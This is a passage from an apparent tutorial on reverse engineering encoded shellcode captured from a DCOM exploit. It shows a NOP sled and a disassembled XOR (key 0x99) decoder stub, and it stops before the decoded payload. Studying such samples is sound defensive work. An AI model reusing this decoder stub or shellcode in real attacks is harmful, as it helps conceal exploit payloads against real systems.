Reversing Shellcode Part 2
In this second part we will take a closer look at a more complex and encoded shellcode. This time i received it by emulating the DCOM vulnerability. As the shellcode is encoded we need to find the decoder part first. It usually starts right after the NOP lines.
000004BB 90 nop
000004BC 90 nop
000004BD 90 nop
000004BE 90 nop
000004BF 90 nop
000004C0 90 nop
000004C1 90 nop
000004C2 90 nop
000004C3 90 nop
000004C4 90 nop
000004C5 90 nop
000004C6 EB10 jmp short 0x4d8
000004C8 5A pop edx
000004C9 4A dec edx
000004CA 33C9 xor ecx,ecx
000004CC 66B97601 mov cx,0x176
000004D0 80340A99 xor byte [edx+ecx],0x99
000004D4 E2FA loop 0x4d0
000004D6 EB05 jmp short 0x4dd
000004D8 E8EBFFFFFF call 0x4c8
000004DD 7061 jo 0x540